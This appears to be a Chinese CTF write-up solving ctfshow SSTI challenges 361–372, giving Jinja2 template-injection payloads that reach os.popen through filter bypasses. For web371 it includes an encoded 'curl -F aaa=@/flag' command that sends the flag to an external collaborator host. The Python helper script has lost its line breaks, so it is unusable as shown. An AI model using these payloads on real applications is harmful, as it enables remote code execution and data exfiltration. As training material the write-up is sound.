ctfshow_web-ssti （361~372）
web 361
首先，题目提示，名字就是考点，所以应该是需要我们传一个name的参数
然后就是检查是什么模板
然后找到可以注入的模块，这里我找到的是os._wrap_close在132,找模块的数字我们可以使用python代码来跑
直接些payload
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
web362
首先题目提示有过滤，然后其他没变
测试发现过滤了一些数字，如3还有2，这样子我们os._wrap_close这个就不能用了，我们可以去找其他模板，如_frozen_importlib_external.FileLoader这个模块，这个模块在94，没有被过滤，这个模块可以使用内建函数eval执行命令，我们直接构造payload（有很多可以这样做的模块，我们可以用python脚本，去找）
payload
?name={{().__class__.__base__.__subclasses__()[94].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}}}
web363
题目还是提示有过滤，试了一下发现过滤了单双引号，我们测试过滤了什么可以一部分一部分的输命令，就可以知道了，我们直接使用request来绕过过滤单双引号
payload
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.k).read()}}&k=ls
web364
和上一题增加了对args的过滤，我们使用request.cookies即可绕过
payload
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.cookies.k).read()}}
web365
增加了对中括号的过滤，我们可以使用pop()或者__getitem__魔术方法来进行绕过
payload
?name={{().__class__.__base__.__subclasses__().pop(132).__init__.__globals__.popen(request.cookies.k).read()}}
web366
增加了对下划线的过滤，我们可以使用过滤器attr()和request来绕过
payload
url
?name={{()|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)()|attr(request.cookies.d)(132)|attr(request.cookies.e)|attr(request.cookies.f)|attr(request.cookies.d)(request.cookies.x)(request.cookies.z)|attr(request.cookies.r)()}}cookie
a=__class__;b=__base__;c=__subclasses__;d=__getitem__;e=__init__;f=__globals__;x=popen;z=cat /flag;r=read
web367
过滤了os，用上一题的脚本即可
web 368
又过滤了双大括号，使用{%print%}再配合上一个payload即可
payload
url
{%print ()|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)()|attr(request.cookies.d)(132)|attr(request.cookies.e)|attr(request.cookies.f)|attr(request.cookies.d)(request.cookies.x)(request.cookies.z)|attr(request.cookies.r)()%}cookies
a=__class__;b=__base__;c=__subclasses__;d=__getitem__;e=__init__;f=__globals__;x=popen;z=cat /flag;r=read
web 369
又过滤了request，重新构造payload
用拼接来绕过
{%set pop=dict(pop=a)|join%}
{% set s=dict(aaaaaa=a)|join|length*dict(aaaa=a)|join|length%} //s=24
{% set w=dict(aaaaaa=a)|join|length*dict(aaa=a)|join|length%} //w=18
{% set v=dict(aaaaaaaaaa=a)|join|length*dict(aaaaa=a)|join|length-dict(aaa=a)|join|length%} //v=47
{% set xhx=({}|select()|string()|list|attr(pop)(s))%} //xhx=_
{% set kg=(self|string()|list|attr(pop)(w))%} //kg=空格
{% set glo=(xhx,xhx,dict(glo=a,bals=b)|join,xhx,xhx)|join%}
{% set g=dict(ge=a,t=b)|join%}
{% set ch=dict(ch=a,r=b)|join%}
{% set bu=(xhx,xhx,dict(buil=a,tins=b)|join,xhx,xhx)|join%}
{% set c=lipsum|attr(glo)|attr(g)(bu)|attr(g)(ch)%}
{% set o=dict(o=a,s=a)|join%}
{% set po=dict(po=a,pen=a)|join%}
{% set r=dict(re=a,ad=b)|join%}
{% set a=(dict(ca=a,t=b)|join,kg,c(v),dict(fl=a,ag=b)|join)|join%} //c(v)=/
{{lipsum|attr(glo)|attr(g)(o)|attr(po)(a)|attr(r)()}}
web370
过滤了数字，我上一个脚本就已经绕过了数字，直接使用上一题脚本即可
web371
过滤了print，使用curl外带
跑chr字符的脚本
def half2full(half):full = ''for ch in half:if ord(ch) in range(33, 127):ch = chr(ord(ch) + 0xfee0)elif ord(ch) == 32:ch = chr(0x3000)else:passfull += chreturn full
string = input("你要输入的字符串：")
result = ''
def str2chr(s):global resultfor i in s:result += "c("+half2full(str(ord(i)))+")%2b"
str2chr(string)
print(result[:-3])
payload
{%set pop=dict(pop=a)|join%}
{% set s=dict(aaaaaa=a)|join|length*dict(aaaa=a)|join|length%}
{% set w=dict(aaaaaa=a)|join|length*dict(aaa=a)|join|length%}
{% set v=dict(aaaaaaaaaa=a)|join|length*dict(aaaaa=a)|join|length-dict(aaa=a)|join|length%}
{% set xhx=({}|select()|string()|list|attr(pop)(s))%}
{% set kg=(self|string()|list|attr(pop)(w))%}
{% set glo=(xhx,xhx,dict(glo=a,bals=b)|join,xhx,xhx)|join%}
{% set g=dict(ge=a,t=b)|join%}
{% set ch=dict(ch=a,r=b)|join%}
{% set bu=(xhx,xhx,dict(buil=a,tins=b)|join,xhx,xhx)|join%}
{% set c=lipsum|attr(glo)|attr(g)(bu)|attr(g)(ch)%}
{% set o=dict(o=a,s=a)|join%}
{% set po=dict(po=a,pen=a)|join%}
{% set r=dict(re=a,ad=b)|join%}
{% set a=c(９９)%2bc(１１７)%2bc(１１４)%2bc(１０８)%2bc(３２)%2bc(４５)%2bc(７０)%2bc(３２)%2bc(９７)%2bc(９７)%2bc(９７)%2bc(６１)%2bc(６４)%2bc(４７)%2bc(１０２)%2bc(１０８)%2bc(９７)%2bc(１０３)%2bc(３２)%2bc(１０４)%2bc(１１６)%2bc(１１６)%2bc(１１２)%2bc(５８)%2bc(４７)%2bc(４７)%2bc(５５)%2bc(９７)%2bc(１０５)%2bc(１１２)%2bc(５１)%2bc(１０３)%2bc(１０９)%2bc(５６)%2bc(９８)%2bc(１１７)%2bc(１１６)%2bc(１１６)%2bc(１０７)%2bc(５６)%2bc(１１４)%2bc(１１９)%2bc(９８)%2bc(１１４)%2bc(５５)%2bc(１０３)%2bc(１１３)%2bc(１１６)%2bc(１１９)%2bc(１０５)%2bc(９７)%2bc(５７)%2bc(１０３)%2bc(４８)%2bc(５２)%2bc(１１３)%2bc(１１５)%2bc(１０２)%2bc(４６)%2bc(１１１)%2bc(９７)%2bc(１１５)%2bc(１１６)%2bc(１０５)%2bc(１０２)%2bc(１２１)%2bc(４６)%2bc(９９)%2bc(１１１)%2bc(１０９)%}
{% if lipsum|attr(glo)|attr(g)(o)|attr(po)(a)|attr(r)()%}aaa{%endif%}
web 372
过滤了count，没什么影响貌似，上一个脚本依旧可以